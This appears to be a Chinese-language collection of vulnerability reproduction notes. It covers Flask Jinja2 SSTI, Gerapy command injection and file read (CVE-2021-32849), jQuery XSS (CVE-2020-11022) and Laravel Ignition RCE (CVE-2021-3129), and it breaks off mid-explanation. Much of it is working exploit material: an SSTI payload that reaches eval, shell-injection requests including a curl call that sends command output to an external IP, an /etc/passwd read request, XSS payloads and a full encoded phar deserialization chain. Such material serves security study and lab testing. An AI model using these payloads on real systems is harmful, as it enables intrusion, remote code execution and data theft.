进入容器,可见touch /tmp/success已成功执行。

image-20240805145239446

flask

ssti

Flask(Jinja2) 服务端模板注入漏洞

原理

参考文章:

测试

编译及运行测试环境:

docker compose build
docker compose up -d

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D,得到执行结果:

image-20240805145337141

Gerapy

CVE-2021-32849

Gerapy clone 后台远程命令执行漏洞

漏洞描述

近日,我司应急团队监测到关于Gerapy 0.9.6和之前的版本中存在注入漏洞,漏洞编号:CVE-2021-32849,该漏洞源于程序没有正确清理通过project_clone端点传递给Popen的输入,攻击者可利用该漏洞执行任意命令。

漏洞影响

Gerapy <= 0.9.6

网络测绘

title=”Gerapy”

漏洞复现

登录页面

img

出现漏洞的文件为 gerapy/server/core/views.py

img

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_clone(request):
    """
    clone project from github
    :param request: request object
    :return: json
    """
    if request.method == 'POST':
        data = json.loads(request.body)
        address = data.get('address')
        if not address.startswith('http'):
            return JsonResponse({'status': False})
        address = address + '.git' if not address.endswith('.git') else address
        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
        logger.debug('clone cmd %s', mcd)
        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
        logger.debug('clone run result %s', stdout)
        if stderr: logger.error(stderr)
        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})

这里可以看到 address参数 为可控参数,拼接到 cmd中使用 Popen命令执行,构造请求包

POST /api/project/clone HTTP/1.1
Host: 
Content-Length: 61
Accept: application/json, text/plain, */*
Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

{"address":"http://127.0.0.1;curl xxx.xxx.xxx.xxx:9999?`id`"}

image-20240811110454428

Gerapy parse 后台远程命令执行漏洞

漏洞描述

Gerapy gerapy/server/core/views.py 中的方法存在任意命令执行,攻击者登录后台后发送特定的请求包即可利用漏洞

漏洞影响

Gerapy <= 0.9.7

网络测绘

title=”Gerapy”

漏洞复现

登录页面

img

出现漏洞的文件为 gerapy/server/core/views.py

img

构造请求包测试命令执行

POST /api/project/1/parse HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 18

{"spider":";`id`"}

image-20240811110556955

Gerapy read 后台任意文件读取漏洞

漏洞描述

Gerapy gerapy/server/core/views.py 中的 project_file_read 方法存在任意文件读取,攻击者登录后台后发送特定的请求包即可利用漏洞

漏洞影响

Gerapy <= 0.9.6

网络测绘

title=”Gerapy”

漏洞复现

登录页面

img

出现漏洞的文件为 gerapy/server/core/views.py

img

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_file_read(request):
    """
    get content of project file
    :param request: request object
    :return: file content
    """
    if request.method == 'POST':
        data = json.loads(request.body)
        path = join(data['path'], data['label'])
        # binary file
        with open(path, 'rb') as f:
            return HttpResponse(f.read().decode('utf-8'))

参数 path 和 label 都为用户可控变量,登录后构造请求包

POST /api/project/file/read HTTP/1.1
Host: 
Content-Length: 35
Accept: application/json, text/plain, */*
Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

{"path":"/etc/",
"label":"passwd"}

image-20240811110622687

jQuery

jQuery XSS漏洞 CVE-2020-11022

漏洞描述

据NVD描述:在大于或等于1.2且在3.5.0之前的jQuery版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致xss漏洞。

漏洞影响

3.5.0 > jQuery >= 1.2

漏洞复现


PoC 1.
<style><style /><img src=x onerror=alert(1)> 

PoC 2. (Only jQuery 3.x affected)
<img alt="<x" title="/><img src=x onerror=alert(1)>">

PoC 3.
<option><style></option></select><img src=x onerror=alert(1)></style>

img

PoC 1和PoC 2具有相同的根本原因。在中.html(),作为参数传递的HTML字符串将传递到 $ .htmlPrefilter()方法。该htmlPrefilter处理用于替换自闭合标签等进行到,通过使用以下正则表达式:<tagname **/>**``<tagname ></tagname>

rxhtmlTag = / <(?! area | br | col | embed | hr | img | input | link | meta | param)(([[ww:-] +)[^>] *)\ /> / gi
[。 ..]
htmlPrefilter:function(html){
  return html.replace(rxhtmlTag,“ <$ 1> </ $ 2>”);
}

如果PoC 1的HTML通过此替换,则输出将是:

> $ .htmlPrefilter('<style> <style /> <img src = x onerror = alert(1)>')
<“ <style> <style> </ style> <img src = x onerror = alert(1) >“

黄色部分是替换的字符串。由于此替换,<style />样式元素内部被替换<style ></style>为,结果是,之后的字符串从样式元素中被踢出。之后,.html()将替换的HTML分配给innerHTML。在这里,<img ...>字符串变成了实际的img标签,并触发了onerror事件。

顺便说一下,上述正则表达式在3.x之前的jQuery中使用。从3.x开始,使用了另一个经过稍加修改的正则表达式

rxhtmlTag = / <(?! area | br | col | embed | hr | img | input | link | meta | param)(([[az] [^ \ / \ 0> \ x20 \ t \ r \ n \ f] *)[^>] *)\ /> / gi

此更改引入了另一个XSS向量,该向量可能仅由更多基本元素和属性导致XSS。通过此更改引入了PoC 2的向量。它仅适用于jQuery3.x。

> $ .htmlPrefilter('<img alt =“ <x” title =“ /> <img src = x onerror = alert(1)>”>')
<“ <img alt =” <x“ title =”> < / x“> <img src = x onerror = alert(1)>”>“

在这种情况下,属性值上的 img 字符串被踢出并发生XSS。

laravel

Laravel Ignition 2.5.1 代码执行漏洞(CVE-2021-3129)

Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

攻击者可以通过phar://协议来执行反序列化操作,进而执行任意代码。

参考链接:

环境搭建

执行如下命令启动一个运行着Laravel 8.4.2和Ignition 2.5.1的应用:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看Laravel默认的欢迎页面。

漏洞复现

首先,我们发送如下数据包,页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式:

然后,我们按照如下方法复现漏洞。

一,发送如下数据包,将原日志文件清空。

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

二,用phpggc生成序列化利用POC

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

三,发送如下数据包,给Log增加一次前缀

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

四,将POC作为viewFile的值,发送数据包

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=64=00=30=00=6B=00=2F=00=31=00=70=00=52=00=49=00=71=00=57=00=72=00=36=00=77=00=46=00=6C=00=38=00=30=00=4D=00=2B=00=48=00=4B=00=2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00"
  }
}

五,发送如下数据包,对Log文件进行清理

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。

六,使用phar://进行反序列化,执行任意代码

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

此时需要使用绝对路径。

可见,PHPINFO已成功执行:

image-20240805145426187

Laravel Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129

漏洞描述

Laravel 是一个免费的开源 PHP Web 框架,旨在实现的Web软件的MVC架构。2021年1月13日,阿里云应急响应中心监控到国外某安全研究团队披露了 Laravel <= 8.4.2 存在远程代码执行漏洞。当Laravel开启了Debug模式时,由于Laravel自带的Ignition功能的某些接口存在过滤不严,攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发Phar反序列化,从而造成远程代码执行,控制服务器。漏洞细节已在互联网公开。阿里云应急响应中心提醒 Laravel 用户尽快采取安全措施阻止漏洞攻击。

漏洞影响

Laravel 框架 < 8.4.3

facade ignition 组件 < 2.5.2

环境搭建

https://github.com/SNCKER/CVE-2021-3129.git
docker-compose up -d

点击生成密钥出现如下图即成功创建漏洞环境

img

漏洞复现

按照漏洞公开文章需要先有一个未知变量的错误,来点击Make variable optional

按照官方手册创建路由和View模板

img

通过点击“Make variableOptional”按钮,模板变量则会被修改。如果检查HTTP日志,我们就会看到被调用的端点

img

通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php过滤不严谨导致的。首先我们到执行solution的控制器当中去,看看是如何调用到solution的

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

接着调用solution对象中的run()方法,并将可控的parameters参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()

<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }
}

可以看到这里主要功能点是:读取一个给定的路径,并替换$variableName$variableName ?? '',之后写回文件中。由于这里调用了file_get_contents(),且其中的参数可控,所以这里可以通过phar://协议去触发phar反序列化。如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()去触发phar反序列化,达到rce的效果。

除了解决方案的类名之外,还发送了一个文件路径和一个我们要替换的变量名。这看起来非常让人感兴趣。

让我们先检查一下类名的利用方法:我们可以实例化任意的类吗?

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

答案是否定的:Ignition总是用我们指向的类来实现RunnableSolution

那么,让我们仔细看看这个类。实际上,负责该操作的代码位./vendor/facade/ignition/sr/solutions/MakeViewVariableOptionalSolution.php文件中。那么,我们可以更改任意文件的内容么?

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [3]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

这段代码比我们预想的要复杂一些:它会在读取给定的文件路径[1]后,将初始文件和新文件都将被标记化[2]。如果我们的代码结构没有发生超出预期的变化,文件将被替换为新的内容。否则,makeOptional将返回false[3],新文件将不会被写入。因此,我们无法使用variableName做太多事情。

剩下的唯一输入变量就是viewFile。如果我们对variableName和它的所有用法进行抽象,我们最终会得到下面的代码片段:

$contents =file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

到目前为止,大家可能都听说过Orange Tsai演示的上传进度技术。该技术利用php://filter在返回文件之前修改其内容。借助于该技术,我们就可以通过漏洞利用原语来转换文件的内容

$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f); 
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test

我们已经改变了文件的内容!遗憾的是,这将会应用两次转换。阅读文档后,我们找到了只进行一次转换的方法:

# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';

坏字符甚至都会被忽略:

$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt

$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f); 
file_put_contents($f, $contents); 

$ cat /path/to/file.txt
test

默认情况下,Laravel的日志文件(存放PHP错误和堆栈跟踪)是存储在storage/log/laravel.log中的。下面,让我们通过尝试加载一个不存在的文件来生成一个错误, 即SOME_TEXT_OF_OUR_CHOICE:

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}

我们可以向文件中注入(几乎)任意的内容了。理论上讲,我们可以使用Orange发明的技术将日志文件转换为有效的PHAR文件,然后,使用phar://包装器来运行序列化的代码。遗憾的是,这实际上是行不通的,并且原因有很多。

我们在前面说过,当对一个字符串进行ba se64-decoding处理时,PHP会忽略任何坏字符。这通常是正确的,但是有一个字符除外,即=。如果你使用ba se64-decode过滤一个中间含有字符=的字符串,PHP将产生一个错误,并且不会返回任何内容。
如果我们能控制整个文件,那就好了。然而,我们注入到日志文件中的文本只是其中很小的一部分。它不仅有一个不算很大的前缀(日期),还有一个臃肿的后缀(堆栈跟踪)。此外,我们注入的文本还出现了两次!
下面是另一件可怕的事情:


php > var_dump(base64_decode(base64_decode('[2022-04-3023:59:11]')));
string(0) ""
php >var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

根据日期的不同,对前缀进行两次解码时,会得到不同大小的结果。当我们对它进行第三次解码时,在第二种情况下,我们的payload将以2作为前缀,从而需要改变base64消息的对齐方式。

为了使其正常运行,我们必须为每个目标建立一个新的payload,因为堆栈跟踪中包含绝对文件名;并且,每秒都需要建立一个新的payload,因为前缀中包含时间。并且,只要有一个字符=需要进行base64-decode处理,仍然会面临失败。

因此,我们回到PHP文档中寻找其他类型的过滤器。

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

遗憾的是,我们已经了解到,如果滥用base64-decode的话,可能会在某个时候失败。现在,让我们来利用这一点:如果我们滥用它,将发生解码错误,日志文件将被清除!这样,我们触发的下一个错误将单独存在于日志文件中:

[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

现在,我们又回到了最初的问题上:保留一个payload并删除其余的。幸运的是,php://filter并不限于base64操作。例如,我们可以用它来转换字符集,下面是从UTF-16到UTF-8的转换:

